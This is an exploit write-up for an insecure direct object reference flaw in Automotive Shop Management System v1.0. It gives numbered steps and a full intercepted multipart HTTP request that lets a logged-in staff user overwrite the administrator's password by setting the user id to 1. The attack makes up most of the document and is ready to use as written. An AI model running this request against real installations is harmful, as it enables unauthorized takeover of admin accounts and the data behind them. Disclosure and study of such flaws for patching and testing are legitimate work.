Exploit Title: Automotive Shop Management System v1.0 - Insecure Direct Object Reference(IDOR)

Exploit Author: NS Kumar (n1_x)

Date: May 6, 2022

Vendor Homepage: https://www.sourcecodester.com/php/15312/automotive-shop-management-system-phpoop-free-source-code.html

Software Link:
https://www.sourcecodester.com/sites/default/files/download/oretnom23/asms_0.zip

Tested on: Parrot Linux, Apache, Mysql

Vendor: oretnom23

Version: v1.0

Exploit Description:

Automotive Shop Management System v1.0 suffers from IDOR - Broken Access Control Vulnerability allowing attackers to change the admin password(vertical privilege escalation).

---------- To Exploit ----------

Step 1: Login as a staff user.

Step 2: Goto profile page, you will see your profile information.

Step 3: Click save button intercept the request with burp or zap.

```
POST /asms/classes/Users.php?f=save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
```

```
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------3891342313316
Content-Length: 825
Origin: http://localhost
DNT: 1
Connection: close
Referer: http://localhost/asms/admin/?page=user
Cookie: PHPSESSID=pt7bcoi9ubt8dbjh972g56emu1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------389134231331641804881591951010
Content-Disposition: form-data; name="id"

1
-----------------------------389134231331641804881591951010
Content-Disposition: form-data; name="firstname"

Administrator
-----------------------------389134231331641804881591951010
Content-Disposition: form-data; name="lastname"

Admin
-----------------------------389134231331641804881591951010
Content-Disposition: form-data; name="username"

admin
-----------------------------389134231331641804881591951010
Content-Disposition: form-data; name="password"

password123
-----------------------------389134231331641804881591951010
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream


-----------------------------389134231331641804881591951010--
```

step 4: Change the user id to 1 and username to admin and insert your own password in the password field (change first and lastname if you want).

step 5: Forward the request and turn off the proxy.

step 6: Now you can login as Administrator.